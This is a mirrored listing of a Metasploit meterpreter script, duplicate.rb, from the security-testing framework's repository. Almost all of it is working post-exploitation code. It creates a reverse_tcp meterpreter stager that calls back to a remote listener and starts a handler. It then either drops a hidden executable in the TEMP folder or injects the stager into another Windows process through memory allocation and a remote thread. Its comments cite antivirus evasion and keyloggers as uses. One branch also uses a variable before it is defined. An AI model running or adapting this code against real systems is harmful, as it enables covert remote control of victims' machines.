CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/duplicate.rb
Views: 11766
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
# Author: Scriptjunkie
9
# Uses a meterpreter session to spawn a new meterpreter session in a different process.
10
# A new process allows the session to take "risky" actions that might get the process killed by
11
# A/V, giving a meterpreter session to another controller, or start a keylogger on another
12
# process.
13
#
14
15
#
16
# Options
17
#
18
opts = Rex::Parser::Arguments.new(
19
"-h" => [ false, "This help menu"],
20
"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],
21
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],
22
"-w" => [ false, "Write and execute an exe instead of injecting into a process"],
23
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
24
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
25
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
26
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
27
)
28
29
#
30
# Default parameters
31
#
32
33
rhost = Rex::Socket.source_address("1.2.3.4")
34
rport = 4546
35
lhost = "127.0.0.1"
36
37
spawn = false
38
autoconn = true
39
inject = true
40
target_pid = nil
41
target = "notepad.exe"
42
pay = nil
43
44
#
45
# Option parsing
46
#
47
opts.parse(args) do |opt, idx, val|
48
case opt
49
when "-h"
50
print_line(opts.usage)
51
raise Rex::Script::Completed
52
when "-r"
53
rhost = val
54
when "-p"
55
rport = val.to_i
56
when "-P"
57
target_pid = val.to_i
58
when "-e"
59
target = val
60
when "-D"
61
autoconn = false
62
when "-w"
63
inject = false
64
when "-s"
65
spawn = true
66
end
67
end
68
69
print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")
70
71
payload = "windows/meterpreter/reverse_tcp"
72
pay = client.framework.payloads.create(payload)
73
pay.datastore['LHOST'] = rhost
74
pay.datastore['LPORT'] = rport
75
mul = client.framework.exploits.create("multi/handler")
76
mul.share_datastore(pay.datastore)
77
mul.datastore['WORKSPACE'] = client.workspace
78
mul.datastore['PAYLOAD'] = payload
79
mul.datastore['EXITFUNC'] = 'process'
80
mul.datastore['ExitOnSession'] = true
81
print_status("Running payload handler")
82
mul.exploit_simple(
83
'Payload' => mul.datastore['PAYLOAD'],
84
'RunAsJob' => true
85
)
86
87
if client.platform == 'windows'
88
server = client.sys.process.open
89
90
print_status("Current server process: #{server.name} (#{server.pid})")
91
92
if ! inject
93
exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)
94
print_status("Meterpreter stager executable #{exe.length} bytes long")
95
96
#
97
# Upload to the filesystem
98
#
99
tempdir = client.sys.config.getenv('TEMP')
100
tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
101
tempexe.gsub!("\\\\", "\\")
102
103
fd = client.fs.file.new(tempexe, "wb")
104
fd.write(exe)
105
fd.close
106
print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")
107
108
#
109
# Execute the agent
110
#
111
print_status("Executing the agent with endpoint #{rhost}:#{rport}...")
112
pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})
113
elsif ! spawn
114
# Get the target process name
115
print_status("Duplicating into #{target}...")
116
117
# Get the target process pid
118
if not target_pid
119
target_pid = client.sys.process[target]
120
end
121
122
if not target_pid
123
print_error("Could not access the target process")
124
print_status("Spawning a notepad.exe host process...")
125
note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
126
target_pid = note.pid
127
end
128
else
129
print_status("Spawning a #{target} host process...")
130
newproc = client.sys.process.execute(target, nil, {'Hidden' => true })
131
target_pid = newproc.pid
132
if not target_pid
133
print_error("Could not create a process around #{target}")
134
raise Rex::Script::Completed
135
end
136
end
137
138
# Do the duplication
139
print_status("Injecting meterpreter into process ID #{target_pid}")
140
host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
141
raw = pay.generate
142
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))
143
144
print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
145
print_status("Writing the stager into memory...")
146
host_process.memory.write(mem, raw)
147
host_process.thread.create(mem, 0)
148
print_status("New server process: #{target_pid}")
149
150
else
151
print_error("This version of Meterpreter is not supported with this Script!")
152
raise Rex::Script::Completed
153
end
154
155